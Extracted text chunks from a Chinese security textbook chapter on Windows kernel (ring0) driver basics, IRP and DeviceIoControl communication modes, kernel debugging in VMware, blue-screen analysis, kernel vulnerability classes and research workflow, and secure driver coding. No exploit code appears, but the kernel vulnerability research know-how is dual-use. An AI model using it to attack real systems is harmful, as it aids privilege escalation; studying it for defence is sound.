); if (!NT_SUCCESS(ntStatus)) 2 版） { return ntStatus; } //创建符号链接 RtlInitUnicodeString(&symLinkName,DEVICE_LINK); ntStatus = IoCreateSymbolicLink( &symLinkName,&devName ); if (!NT_SUCCESS(ntStatus)) { IoDeleteDevice( g_DeviceObject ); return ntStatus; } //设置该驱动对象的派遣例程函数 for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { driverObject->MajorFunction[i] = DrvDispatch; } //返回成功结果 return STATUS_SUCCESS; } helloworld 驱动在 DriverEntry 入口函数中依次完成了：驱动卸载函数的设置，驱动设备的 创建，符号链接的创建，驱动派遣例程函数的设置。"},
    {"text": "DriverEntry 函数相当于应用程序的 main 函数，是驱动的入口函数，执行在 System 进程中。 DriverEntry 函数的返回值类型是 NTSTATUS，如果是 STATUS_SUCCESS，表示驱动加载成功；"},
    {"text": "驱动卸载函数，是驱动程序在被卸载时要调用的函数，如上面代码所示，驱动卸载函数被 设置为 DriverUnload，在 DriverUnload 中其实并没有做什么，只是打印了一句话，相当于一个 空函数。 当然驱动卸载函数并不是必须要设置的，如果没有设置，驱动程序就无法被卸载。"},
    {"text": "530 第 驱动设备的创建和符号链接的创建，是为了能够在 Ring3 打开该设备对象，并和驱动进行 21 章 通信，后面的 21.1.4 节和 21.1.5 节将有所介绍。"},
    {"text": "探索 驱动派遣例程函数，是 Ring3 向驱动发出不同类型的 I/O 请求，经过系统的“派遣”后， 最终会调用到对应的驱动派遣例程函数来，后面的 21.1.3 节中会对“派遣例程”进行详细地介绍。"},
    {"text": "!IF 0 Copyright (C) Microsoft Corporation, 1999 - 2002 Module Name: makefile. Notes: DO NOT EDIT THIS FILE!!! Edit .\\sources. if you want to add a new source file to this component. This file merely indirects to the real make file that is shared by all the components of Windows NT (DDK) !ENDIF !INCLUDE $(NTMAKEENV)\\makefile.def sources 文件比较重要，可以配置要编译的源文件，以及编译出的 sys 文件名称等。"},
    {"text": "TARGETNAME=helloworld TARGETTYPE=DRIVER SOURCES=helloworld.c 其中 TARGETNAME 表示要编译出的 sys 文件的名称； TARGETTYPE 表示编译出的 PE 文件类型； SOURCES 表示要被编译的源文件。 这里只有一个 helloworld.c 需要编译，如果有多 个源文件要编译，可以使用空格分隔。 准备好上面的三个文件（helloworld.c、makefile、sources）后，还需要安装 Microsoft 的 WDK（Windows Driver Kit） 。"},
    {"text": "安 装 WDK 的过程这里不再赘述，其编译代码的过程大致如图 21.1.1 所 示 ： 点 击 “ 开 始 ” 菜 单 → 程 序 → Windows Driver Kits → WDK 的 版 本 （ 这 里 是 “WDK 7600.16385.0”）→ Build Environment→Windows XP→x86 Checked Build Environment。 图 21.1.1 从开始菜单中打开 WDK 的编译环境 这里我们选择“Windows XP”的“x86 Checked Build Environment”，即 32 位的 XP 系统上 的 debug 版编译环境。"},
    {"text": "之后将出现一个控制台，使用 cd 命令，进入驱动源文件所在的目录， 531 0 day 即 D:\\0day\\HelloWorld，然后使用 build 命令进行编译，如图 21.1.2 所示。 安全：软件漏洞 分析技术（第 2 版） 图 21.1.2 helloworld 的编译结果 helloworld 的编译成功结束后， helloworld.sys 驱动文件将出现在 D:\\0day\\HelloWorld\\objchk_ wxp_x86\\i386 目录下。"},
    {"text": "图 21.1.3 helloworld.sys 编译成功 编译出的 helloworld.sys 不能像 exe 一样直接双击运行，需要作为内核模块来加载和运行。 我们可以在用户态使用服务管理器创建一个服务，将 helloworld.sys 和服务关联在一起，通过 启动服务向内核加载 helloworld.sys。"},
    {"text": "单击“Browser”按钮，选择前面编译出的 helloworld.sys 驱动，单击最下面的“Register Service”按钮，即注册为系统服务。 注册成功后，单击“Start Service”按钮，就可以启动 helloworld.sys 驱动了。"},
    {"text": "532 第 21 章 探索 ring0 图 21.1.4 驱动加载工具 OSRLOADER 使用 Sysinternal 还可以看到加载驱动后，驱动中输出的调试信息，如图 21.1.5 所示。"},
    {"text": "图 21.1.5 helloworld.sys 加载和卸载时调试信息的输出 其中，在驱动加载时，打印了“DriverEntry: Hello world driver demo!”，而在驱动卸载时， 打印了“DriverUnload: 88!”，这些输出和前面给出的源代码一致。"},
    {"text": "21.1.3 派遣例程与 IRP 结构 提到派遣例程，必须理解 IRP（I/O Request Package），即“输入/输出请求包”这个重要数 据结构的概念。 Ring3 通过 DeviceIoControl 等函数向驱动发出 I/O 请求后，在内核中由操作系 统将其转化为 IRP 的数据结构，并“派遣”到对应驱动的派遣函数中，如图 21.1.6 所示。 Ring3 程序调用 kernel32.dll 导出的 DeviceIoControl 函数后，会调用到 ntdll.dll 导出的 NtDeviceIoControlFile 函数，进而调用到系统内核模块提供的服务函数 NtDeviceIo ControlFile， 该函数会将 I/O 请求转化为 IRP 包，并发送到对应驱动的派遣例程函数中。"},
    {"text": "533 0 day Kernel32.dll DeviceIoControl 安全：软件漏洞 I/O 请求 Ntdll.dll NtDeviceIoControlFile Ring3 I/O 请求 Ring0 Ntoskrnl.exe NtDeviceIoControlFile 分析技术（第 IRP 对应驱动的派遣例程 图 21.1.6 从 Ring3 的 I/O 请求到内核的 IRP 请求包 一个 IRP 包该发往驱动的哪个派遣例程函数，是由 IRP 结构中的 MajorFunction 属性决定 2 版） 的，MajorFunction 属性的值是一系列宏，如下所示。"},
    {"text": "// // Define the major function codes for IRPs. // #define IRP_MJ_CREATE 0x00 #define IRP_MJ_CREATE_NAMED_PIPE 0x01 #define IRP_MJ_CLOSE 0x02 #define IRP_MJ_READ 0x03 #define IRP_MJ_WRITE 0x04 #define IRP_MJ_QUERY_INFORMATION 0x05 #define IRP_MJ_SET_INFORMATION 0x06 #define IRP_MJ_QUERY_EA 0x07 #define IRP_MJ_SET_EA 0x08 #define IRP_MJ_FLUSH_BUFFERS 0x09 #define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a #define IRP_MJ_SET_VOLUME_INFORMATION 0x0b #define IRP_MJ_DIRECTORY_CONTROL 0x0c #define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d #define IRP_MJ_DEVICE_CONTROL 0x0e #define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f #define IRP_MJ_SHUTDOWN 0x10 #define IRP_MJ_LOCK_CONTROL 0x11 #define IRP_MJ_CLEANUP 0x12 #define IRP_MJ_CREATE_MAILSLOT 0x13 #define IRP_MJ_QUERY_SECURITY 0x14 #define IRP_MJ_SET_SECURITY 0x15 #define IRP_MJ_POWER 0x16 #define IRP_MJ_SYSTEM_CONTROL 0x17 534 第 #define IRP_MJ_DEVICE_CHANGE 0x18 21 章 #define IRP_MJ_QUERY_QUOTA 0x19 #define IRP_MJ_SET_QUOTA 0x1a 探索 #define IRP_MJ_PNP 0x1b #define IRP_MJ_PNP_POWER IRP_MJ_PNP // Obsolete.... ri #define IRP_MJ_MAXIMUM_FUNCTION 0x1b ng0 MajorFunction 最多有 0x1b（27）个，也就是说驱动中最多可以设置 27 个不同的派遣例程 函数。"},
    {"text": "对于初学者，在安装了最新版的 WDK 后，可以通过 WDK Help 中的“WDK Documentation” 文档来学习 IRP 数据结构，如图 21.1.7 所示。 图 21.1.7 通过 WDK 帮助文档学习内核数据结构 IRP 该文档会重点介绍驱动程序中用到的一些 IRP 成员的含义和使用方法，另外文档末尾还有 一段 Comments，也是非常有价值的内容。"},
    {"text": "WDK 文档中省略了 IRP 结构中的某些成员（Undocumented members） ，如果阅读了文档中 IRP 的 Comments 后，就会知道这些 Undocumented members 之所以被保留，是因为只有 I/O manager 或 FSDs 才能使用这些成员。"},
    {"text": "535 0 day 安全：软件漏洞 分析技术（第 2 版） 图 21.1.8 通过 WDK 头文件 wdm.h 学习内核数据结构 IRP 为了灵活地查阅内核数据结构信息，还可以使用一些 PDB 辅助工具。"},
    {"text": "图 21.1.9 通过 SymbolTypeViewer 免费工具下载符号文件 启 动 SymbolTypeViewer 后 ， 单 击 “ File ” 按 钮 ， 选 择 本 机 的 内 核 模 块 文 件 （ 例 如 C:\\WINDOWS\\system32\\ntkrnlpa.exe） ，然后单击“Symbol Path”按钮，选择要保存符号文件的 路径，再单击“Server”按钮，选择默认的微软链接，最后单击“Get Symbols”按钮，就开始 536 第 下载符号了。 点击左侧树形控件中的符号项，右侧的“Info”窗口中就会列出该符号的相关信 21 章 息，例如这里的 D:\\WINDOWS\\Symbols\\ntkrpamp.pdb\\140D20ABBC1B433EA7BF82B979B6BF 探索 9D1\\ntkrpamp.pdb。 下一步就是浏览下载到的 PDB 文件，虽然 SymbolTypeViewer 工具也支持对内部符号的浏 r 览，但是没有链接功能，不太方便。 这里推荐使用另一个专门浏览 PDB 符号信息的免费工具 ing0 PDB_Explorer(http://blog.titilima.com/wp-content/uploads/attachments/date_200907/pdbexp_v1.10. zip)。 启动 PDB Explorer 后，单击“打开”按钮，选择前面下载的 PDB 文件，然后在搜索框中 输入“_IRP”，在选择列出的第一个匹配项“_IRP”，在右侧的内容区就可以看到如图 21.1.10 所示的符号信息。"},
    {"text": "以上是一些学习内核数据结构的方法，希望这些内容能够起到“授人以渔”的作用，更希 望读者能够通过这些方法逐渐理解 IRP 结构中每个成员的含义和用法。"},
    {"text": "从 helloworld.c 可以看到， 537 0 day DriverEntry 入口函数里创建了一个设备（\\Device\\HelloWorld） ，并且为该设备创建了符号链接 安全：软件漏洞 （\\DosDevices\\HelloWorld）。"},
    {"text": "HANDLE hDevice= CreateFile( \"\\\\\\\\.\\\\HelloWorld\", GENERIC_READ|GENERIC_WRITE, 0,//不共享 NULL,//不使用安全描述符 2 版） OPEN_EXISTING,//仅存在时打开 FILE_ATTRIBUTE_NORMAL, NULL);//不使用模板 21.1.5 DeviceIoControl 函数与 IoControlCode 打开驱动设备后，Ring3 还要和驱动进行通讯或调用驱动的派遣例程，这需要用到一个非 常重要的函数：DeviceIoControl。 BOOL DeviceIoControl( HANDLE hDevice, //设备句柄 DWORD dwIoControlCode, //Io 控制号 LPVOID lpInBuffer, //输入缓冲区指针 DWORD nInBufferSize, //输入缓冲区字节数 LPVOID lpOutBuffer, //输出缓冲区指针 DWORD nOutBufferSize, //输出缓冲区字节数 LPDWORD lpBytesReturned, //返回输出字节数 LPOVERLAPPED lpOverlapped //异步调用时指向的 OVERLAPPED 指针 ); 该函数共有 8 个参数，hDevice 是要通信的设备句柄；"},
    {"text": "lpInBuffer 是输入缓冲区指针； nInBufferSize 是输入缓冲区字节数； lpOutBuffer 是输出缓冲区 指针； nOutBufferSize 是输出缓冲区字节数； lpBytesReturned 是返回输出字节数；"},
    {"text": "其中的第二个参数 IoControlCode 尤为重要，由宏 CTL_CODE 构造而成： #define CTL_CODE( DeviceType, Function, Method, Access ) ( \\ ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) ) IoControlCode 由四部分组成：DeviceType、Access、Function、Method，如图 21.1.11 所示。 538 第 21 章 探索 图 21.1.11 IoControlCode 的四个组成部分 ring0  DeviceType 表示设备类型；"},
    {"text": " Method 表示 Ring3/Ring0 的通信中的内存访问方式，有四种方式： #define METHOD_BUFFERED 0 #define METHOD_IN_DIRECT 1 #define METHOD_OUT_DIRECT 2 #define METHOD_NEITHER 3 最值得关注的也就是 Method，如果使用了 METHOD_BUFFERED，表示系统将用户的输 入输出都经过 pIrp->AssociatedIrp.SystemBuffer 来缓冲，因此这种方式的通信比较安全。 如果使用了 METHOD_IN_DIRECT 或 METHOD_OUT_DIRECT 方式，表示系统会将输入 缓冲在 pIrp->AssociatedIrp.SystemBuffer 中，并将输出缓冲区锁定，然后在内核模式下重新映 射一段地址，这样也是比较安全的。"},
    {"text": "21.1.6 Ring3/Ring0 的四种通信方式 21.1.5 节中提到了 Ring3/Ring0 通信的四种内存访问方式分别为：METHOD_BUFFERED、 METHOD_IN_DIRECT、METHOD_OUT_DIRECT 和 METHOD_NEITHER。 METHOD_BUFFERED 可称为“缓冲方式” ，是指 Ring3 指定的输入、输出缓冲区的内存 读和写都是经过系统的“缓冲” ，具体过程如图 21.1.12 所示。 这种方式下，首先系统会将 Ring3 下指定的输入缓冲区（UserInputBuffer）数据，按指定 的输入长度（InputBufferLen）复制到 Ring0 中事先分配好的缓冲内存（SystemBuffer，通过 pIrp->AssociatedIrp.SystemBuffer 得到）中。 驱动程序就可以将 SystemBuffer 视为输入数据进行 读取，当然也可以将 SystemBuffer 视为输出数据的缓冲区，也就是说 SystemBuffer 既可以读也可 以写。 驱动程序处理完后，系统会按照 pIrp->IoStatus->Information 指定的字节数，将 SystemBuffer 539 0 day 上的数据复制到 Ring3 指定的输出缓冲区（UserOutputBuffer）中。"},
    {"text": "(1)复制InputBufferLen字节 UserInputBuffer 驱动程序 SystemBuffer 分析技术（第 (2)读取或写入 UserOutputBuffer (3)复制pIrp->IoStatus->Information字节 Ring0 Ring3 图 21.1.12 METHOD_BUFFERED 方式的内存访问 2 版） METHOD_NEITHER 可称为“其他方式” ，这种方式与 METHOD_BUFFERED 方式正好相 反。 METHOD_BUFFERED 方式相当于对 Ring3 的输入输出都进行了缓冲，而 METHOD_ NEITHER 方式是不进行缓冲的，在驱动中可以直接使用 Ring3 的输入输出内存地址，如图 21.1.13 所示。 (3)ProbeForRead 没有异常后再读取 (1)赋值 Type3InputBuffer UserInputBuffer 驱动程序 UserBuffer UserOutputBuffer (2)赋值 (4)ProbeForWrite 没有异常后再写入 Ring0 Ring3 图 21.1.13 METHOD_NEITHER 方式的内存访问 驱动程序可以通过 pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer 得到 Ring3 的输 入缓冲区地址（其中 pIrpStack 是 IoGetCurrentIrpStackLocation(pIrp)的返回）； 通过 pIrp-> UserBuffer 得到 Ring3 的输出缓冲区地址。 由于 METHOD_NEITHER 方式并不安全，因此最好对 Type3InputBuffer 读取之前使用 ProbeForRead 函数进行探测，对 UserBuffer 写入之前使用 ProbeForWrite 函数进行探测，当没 有发生异常时，再进行读取和写入操作。"},
    {"text": "METHOD_IN_DIRECT 和 METHOD_OUT_DIRECT 可称为“直接方式” ，是指系统依然对 Ring3 的输入缓冲区进行缓冲，但是对 Ring3 的输出缓冲区并没有缓冲，而是在内核中进行了 锁定。"},
    {"text": "对于 Ring3 540 第 的输出缓冲区，首先由系统锁定，并使用 pIrp->MdlAddress 来描述这段内存，驱动程序需要 21 章 使用 MmGetSystemAddressForMdlSafe 函数将这段内存映射到内核内存地址（OutputBuffer）， 探索 然后可以直接写入 OutputBuffer 地址，最终在驱动派遣例程返回后，由系统解除这段内存的 锁定。 ring0 (1)复制InputBufferLen字节 (3)读取 SystemBuffer UserInputBuffer 驱动程序 (2)锁定 (6)解锁 MdlAddress UserOutputBuffer (5)写入 Ring0 Ring3 OutputBuffer (4)调用MmGetSystemAddressForMdlSafe 将Ring3输出地址映射到内核内存地址 图 21.1.14 METHOD_IN_DIRECT 和 METHOD_OUT_DIRECT 方式的内存访问 METHOD_IN_DIRECT 和 METHOD_OUT_DIRECT 方式的区别，仅在于打开设备的权限 上 ， 当 以 只 读 权 限 打 开 设 备 时 ， METHOD_IN_DIRECT 方 式 的 IoControl 将 会 成 功 ， 而 METHOD_OUT_DIRECT 方式将会失败。"},
    {"text": "21.2 内核调试入门 21.2.1 创建内核调试环境 由于内核程序运行在内核态，因此不能像对用户态应用程序那样来调试。 关于内核调试方 面的知识请参考《软件调试》这本书。 目前内核调试主要有以下三种方法。"},
    {"text": "二是在内核中插入专门用于调试的中断处理函数和驱动程序。 当操作系统内核被中断时， 这些中断处理函数和驱动程序接管系统的硬件，营造一个可以供调试器运行的简单环境，并用 自己的驱动程序来处理用户输入、输出，例如 SoftICE 和 Syser 等调试器。 三是在系统内核中加入调试支持，当需要中断到调试器中时，只保留这部分支持调试的代 码还在运行，因为正常的内核服务都已经停止，所以调试器程序是不可能运行在同一个系统中 的，因此这种方法需要调试器运行在另一个系统中，二者通过通信电缆交流信息。"},
    {"text": "Windows 操作系统推荐的内核调试方式是第三种，这种方法需要在被调试系统和调试系统 541 0 day 之间建立连接，迄今为止共有三种连接方式：串行口、1394 和 USB2.0。"},
    {"text": "本节将介绍一种非常方便的虚拟机内核调试方法—— “利用命名管道(Named Pipe)模拟串行端口” 。 具体地说，就是在虚拟机中虚拟一个串行端口，并且把这个串口映射到 宿主机的命名管道上。 这样一来，虚拟机中所有对该串口的读写操作都会被虚拟机管理软件转 换为对宿主系统中的命名管道的读写，运行在宿主系统中的调试器便可以通过这个命名管道来 分析技术（第 与虚拟机中的内核调试引擎进行通信。"},
    {"text": "下面我们来介绍一下，如何使用 WinDbg 和 VMware 来实现这种方法的调试。 VMware Support 中提到， 自 4.0.18.0 版本之后的 WinDbg 都支持了通过 pipe 来进行调试。"},
    {"text": "虚拟操作系统 处于关闭状态 点击该项对虚拟机 进行设置 图 21.2.1 关闭 Guest OS 系统电源 单击界面上的“Edit virtual machine settings”选项对虚拟机的属性进行设置。"},
    {"text": "21 章 探索 ring0 图 21.2.2 设置虚拟机 选择“Serial Port”，并单击“Next >”按钮，如图 21.2.3 所示。 图 21.2.3 为虚拟机添加串口 选择“Output to named pipe”，并单击“Next >”按钮，如图 21.2.4 所示。"},
    {"text": "543 0 day 安全：软件漏洞 分析技术（第 2 版） 图 21.2.4 设置串口为输出到命名管道 第三个框中选择“The other end is an application.”，表示 Host OS 将使用一个调试软件来作 为管道的另一端。"},
    {"text": "544 第 21 章 探索 ring0 我们刚刚添加 的虚拟硬件 勾选该项 图 21.2.6 串口添加完毕 2. 修改 Guest OS 的启动配置文件 在刚才设置完虚拟串口后，这里需要重启虚拟机中的 Guest OS。"},
    {"text": "Windows 2000、Windows XP、Windows 2003 系统的启动配置文件位于系统盘根目录下 的 boot.ini，该文件默认是有保护属性的。 执行 attrib -s -h -r c:\\boot.ini 去除保护属性，然后开始编辑该文件，一个默认的 boot.ini 文 件如图 21.2.7 所示。 图 21.2.7 默认的 boot.ini 文件的内容 将其修改为如图 21.2.8 所示。 图 21.2.8 在 boot.ini 文件中添加一个启动项 545 0 day 主要修改了两处，一是 timeout=3，表示启动时选择等待超时时间为 3 秒； 二是在最后 安全：软件漏洞 [operating systems]节中添加了一行启动入口(boot entry)， 添加了/debug 选项，并设置了/debugport 为 com1，就是之前添加的虚拟串口；"},
    {"text": "还设置了/baudrate 为 115200，表示串行通信的通信速率 (bps)，另外 115200 也是串行通信的最大速率，因此使用串行通信进行内核调试时，如果进行 频繁的单步跟踪和要传递较大的文件(如.kdfiles 和.dump 命令)，那么会感觉到速度有些慢。"},
    {"text": "如果 执 行 成 功 ， 会 得 到 新 启 动 入 口 的 GUID ， 即 图 21.2.9 中 的 “ {c872c0fc-876c-11de-abd3- 2 版） ecfb52b26030}” ，用来唯一标识这个启动入口。"},
    {"text": "图 21.2.9 使用 bcdedit 命令复制一份当前系统启动信息 接着，我们需要对这个启动入口，启用内核调试，命令如图 21.2.10 所示。 图 21.2.10 使用 bcdedit 命令开启内核调试 BCD 中有一套全局的调试设置，使用 bcdedit /dbgsettings 可以观察和修改这套全局设置。 这里我们先看看 BCD 默认的全局调试设置，如图 21.2.11 所示。 图 21.2.11 使用 bcdedit 命令查看全局调试设置 可以看到，默认的全局调试设置中，调试类型为 Serial，调试端口为 1，波特率为 115200， 这已经是我们需要的设置了。 当然也可以通过如下命令再次设置为串口调试，如图 21.2.12 所示。 图 21.2.12 使用 bcdedit 命令修改全局调试设置 另外，如果希望为某个自启动项设置单独的调试选项，那么可以使用 bcdedit /set 命令，例如： 546 第 bcdedit /set {c872c0fc-876c-11de-abd3-ecfb52b26030} debugtype serial 21 章 bcdedit /set {c872c0fc-876c-11de-abd3-ecfb52b26030} debugport 1 bcdedit /set {c872c0fc-876c-11de-abd3-ecfb52b26030} baudrate 115200 探索 至此虚拟机中的 Guest OS 就设置好了，先不要重启，当下一步设置好 WinDbg 后，再重新 r 启动。"},
    {"text": "图 21.2.13 修改 WinDbg 快捷方式目标 将“快捷方式”页中的“目标(T)”框中加上以下参数： -b -k com:port=\\\\.\\pipe\\com_1,baud=115200,pipe 其中-b 是一个内核模式选项，表示在连接上被调试的计算机后，或被调试计算机重启且内 核 初 始 化 后 ， 立 即 break ；"},
    {"text": "-k 也 是 一 个 内 核 模 式 的 选 项 ， -k com:port=\\\\.\\pipe\\com_ 1,baud=115200,pipe 表示使用串行通信方式建立连接，端口为\\\\.\\pipe\\com_1，波特率为 115200。"},
    {"text": "547 0 day 安全：软件漏洞 分析技术（第 选择 debug 选项 2 版） 图 21.2.14 选择系统启动项中的调试项 5. 启动 WinDbg 这时启动刚才设置好的 WinDbg 快捷方式，发现很快 WinDbg 就连上虚拟机中的 Guest OS 了，如果很长时间没有连接上的话，可以单击 WinDbg 菜单中的\"Debug\"->\"Kernel Connection\"-> \"Resynchronize\"。"},
    {"text": "图 21.2.15 启动 WinDbg 548 第 接下来就可以通过 WinDbg 来调试虚拟机中的 Guest OS 了。 另外，由于调试内核程序经常 21 章 会死机或蓝屏，而频繁的系统重启又需要很多时间，为了节约部分时间，建议大家灵活使用 VMware 的快照功能，在配置好测试环境后，不要急于测试，而是先建立该测试环境的快照， 探索 这样当出现死机或蓝屏后，再次测试时可以直接回滚到之前的快照状态下的 Guest OS 中，这 样能够大大节省等待时间。"},
    {"text": "r ing0 21.2.2 蓝屏分析 蓝屏(Blue Screen)是 Windows 中用于提示严重的系统级报错的一种方式。 蓝屏一旦出现， Windows 系统便宣告终止，只有重新启动才能恢复到桌面环境，所以蓝屏又被称为蓝屏终止 (Blue Screen Of Death)，简称为 BSOD。"},
    {"text": " 完整转储(Complete memory dump) 包含产生转储时物理内存中的所有数据，其文件大小通常比物理内存的容量还要大，默认 位置为%SystemRoot%\\MEMO 在 RY.DMP。  内核转储(Kernel memory dump) 去除了用户进程所使用的内存页，因此文件大小要比完整转储小得多，对于典型的 Windows XP 系统，其大小为 200MB 左右，默认位置为%SystemRoot%\\MEMORY.DMP。  小型内存转储(Small memory dump) 默认为 64KB，默认位置为%SystemRoot%/MiniDump 文件夹下，系统会按照日期加序号的 方式来命名该 dump 文件，因此系统可以保存多个小型内存转储文件。"},
    {"text": " 栈回溯 显示了可疑线程栈上所记录的执行记录，包括函数调用及因为中断或异常而发生的转移， 这部分信息对于深入了解导致蓝屏的原因非常重要。"},
    {"text": "549 0 day 安全：软件漏洞 分析技术（第 2 版） 图 21.2.16 !analyze –v 命令的输出结果-1 图 21.2.17 !analyze –v 命令的输出结果-2 550 第  蓝屏的基本信息 21 章 包括导致错误发生所在的模块名称、镜像名称、进一步追查名称和错误 ID 等信息，以便 错误分析软件对大量的转储文件进行自动分析、统计和归档。"},
    {"text": "探索 ri 21.3 内核漏洞概述 ng0 21.3.1 内核漏洞的分类 运行在 Ring0 上的操作系统内核、设备驱动、第三方驱动能共享同一个虚拟地址空间，可 以完全访问系统空间的所有内存，而不像用户态进程那样拥有独立私有的内存空间。"},
    {"text": "[ 产品 / 模块 / [ 公布时间 ] [ 厂商 ] [ 驱动文件 ] [ 漏洞类型 ] [ 利用结果 ] [BugTraq ID] [ 其他信息 ] 函数及版本 ] 例如： [2008-04-11][Microsoft][NtUserFnOUTSTRING][win32k.sys] [ 任意地址写固定数据漏洞 ][ 本地权限提升 ][28554][MS08-025] 图 21.3.1 内核漏洞命名格式 您可以从本书的附带资料中得到完整的漏洞列表和资料，如图 21.3.2 所示。"},
    {"text": "按照漏洞严重程度可分为以下 4 类：远程拒绝服务、本地拒绝服务、远程任意代码执行和 本地权限提升，如图 21.3.3 所示。 按照漏洞 严重程度分类 分析技术（第 远程拒绝服务 本地拒绝服务 远程任意代码执行 本地权限提升 图 21.3.3 按照漏洞严重程度给内核漏洞分类 2 版） “远程拒绝服务”是指能够利用来使得远程系统崩溃或资源耗尽的内核程序 bug 或缺陷。"},
    {"text": "另一方面，按照漏洞利用原理可分为以下 4 类：拒绝服务、缓冲区溢出、内存篡改和设计 缺陷，如图 21.3.4 所示。 按照漏洞 利用原理分类 拒绝服务 缓冲区溢出 内存篡改 任意地址写任意数据 固定地址写任意数据 任意地址写固定数据 设计缺陷 图 21.3.4 按照漏洞利用原理给内核漏洞分类 其中“内存篡改”类型又可以分成以下 3 个子类。"},
    {"text": "例如“[2010-01-23][Rising][Antivirus_2008_2009_2010] [RsNTGdi.sys][任意地址 写任意数据内核漏洞][本地权限提升][37951]”。"},
    {"text": "21.3.2 内核漏洞的研究过程 ring0 对于初学者来说，一个内核漏洞的学习过程可以总结为 4 个环节：漏洞重现、漏洞分析、 漏洞利用和漏洞总结。 如图 21.3.5 所示，展示了内核漏洞学习过程四大环节可能涉及的工作。"},
    {"text": "漏洞重现环节，需要搭建测试环境，通常为虚拟机环境； 另外需要注意有漏洞的内核文件 或驱动文件的版本，如果版本不对，是不可能重现的； 还要确认该漏洞暂时还未打补丁；"},
    {"text": "在漏洞重现环节中，如果最终重 现失败，不能说明漏洞不存在，如果环境搭建的没有问题，那可以考虑是否 POC 源码有误， 或者该漏洞还依赖于其他条件。 因此，建议先进行漏洞分析环节，通过漏洞分析可以加深对漏 洞的理解，这样边分析边重现，往往问题就迎刃而解了。"},
    {"text": "漏 由 洞 表 重 环境搭建 POC编译 及 现 里 漏 刨 洞 源码分析 反汇编分析 POC分析 根 分 究 析 底 补丁对比 内核调试跟踪 蓝屏分析 漏 各 洞 特权提升 远程溢出 本地溢出 显 利 神 用 通 远程DOS 本地DOS 漏 知 洞 根本原因 修补方法 识 总 升 结 华 图 21.3.5 内核漏洞的学习过程 漏洞分析环节，是整个漏洞学习的核心环节，如果分析不清漏洞的前因后果，那么漏洞利 用也无从入手。"},
    {"text": "漏洞分析过程其实是一个“刨根究底”的过程，也可以说是“打破沙锅问到底” 的过程，只不过是“问”自己而已。 漏洞分析有很多方法，如果有源码的话，可以先对源码进 行白盒分析；"},
    {"text": "如果漏洞公布中有 POC 源 553 0 day 码的话，还可以对 POC 源码进行分析（通过阅读 POC 源码和注释，可以很快地对该漏洞有一 安全：软件漏洞 个准确的认识）； 如果该漏洞的补丁已经发布了，还可以在打补丁后，提取新版本的内核或驱 动文件，通过对比进行分析； 另外还可以通过给有漏洞的内核或驱动文件下断点进行调试分析； 如果能触发有漏洞的内核或驱动蓝屏，还可以针对蓝屏后的 Memory Dump（完整转储、内核 转储、小型内存转储）文件进行蓝屏分析。"},
    {"text": "对于内核漏洞利用而言，主要有 5 种目标：特权提升、远程溢出、本地溢出、 远程 DOS 和本地 DOS。 在实际漏洞利用过程中，最终达到的目标不外乎这 5 种，但是漏洞利 用的细节各有不同，“各显神通”。"},
    {"text": "漏洞总结环节，是在完成了漏洞重现、漏洞分析和漏洞利用过程后，回过头来审视造成该 漏洞的根本原因，并提出修补方法的过程。 如果把以上环节比喻为攻击，那么漏洞总结必须站 在攻击与防御的对立面，才能有所体会和感悟，才能寻求到突破。 通过漏洞总结，能够将学习 2 版） 过程中获取到的知识升华为一种经验和能力。 以上总结了内核漏洞的学习过程。 当积累了一定的知识和经验，去尝试内核漏洞挖掘， 也是一种内核漏洞研究的方式。 通过内核漏洞挖掘可以探索更多、更深的内核漏洞分析和利用 技术。 内核漏洞挖掘和一般漏洞相似，至少有两种方式。"},
    {"text": "无论哪 种方式，都需要漏洞经验作为基础，内核漏洞经验可以提炼出挖掘工具中的重要方法，还可以 作为手工分析疑点的指导，如图 21.3.6 所示。 工具挖掘 漏洞经验 手工挖掘 方法 指导 挖掘工具开发 手工分析疑点 挖掘工具准备 测试程序准备 测试环境 触发漏洞 详细分析测试 漏洞 POC 图 21.3.6 内核漏洞的挖掘过程 内核漏洞挖掘的过程实际上就是，通过工具挖掘或手工挖掘，达到触发漏洞的目标，可能 554 第 是一个蓝屏，也可能是一个内核异常，然后对此进行详细分析和测试，最终编写漏洞 POC 的 21 章 过程。"},
    {"text": "探索 21.4 编写安全的驱动程序 ring0 站在开发者的角度，内核漏洞的原因大体可以归结为：未验证输入和输出，未验证调用者， 代码逻辑错误，系统设计存在安全缺陷等。"},
    {"text": "例如，在 NtReadFile 函数中，如果 PreviousMode 不是 KernelMode，即 NtReadFile 函数是 从用户态被调用的，可以使用 ProbeForWrite 函数检测输入输出缓冲区是否可写，参见 ReactOS 中的代码如下： NTSTATUS NTAPI NtReadFile(IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN PLARGE_INTEGER ByteOffset OPTIONAL, IN PULONG Key OPTIONAL) { KPROCESSOR_MODE PreviousMode = KeGetPreviousMode(); //省略部分代码...... /* Validate User-Mode Buffers */ if (PreviousMode != KernelMode) { _SEH2_TRY { /* Probe the status block */ ProbeForWriteIoStatusBlock(IoStatusBlock); /* Probe the read buffer */ ProbeForWrite(Buffer, Length, 1); //省略部分代码...... 类似地，在 NtWriteFile 函数中当发现 PreviousMode 不是 KernelMode 时，即从用户态调用 过来的，可以使用 ProbeForRead 函数进行检测。"},
    {"text": "此外，在 IoControl 中如果 IoControlCode 指定的 Mthod 为 METHOD_NEITHER 时，也应 555 0 day 当对输入和输出地址使用 ProbeForRead 和 ProbeForWrite 函数进行检验。"},
    {"text": "安全：软件漏洞 21.4.2 验证驱动的调用者 有很多驱动程序加载后，会在驱动程序入口函数 DriverEntry 中创建驱动设备，并创建符 号链接，同时还会指定派遣例程。"},
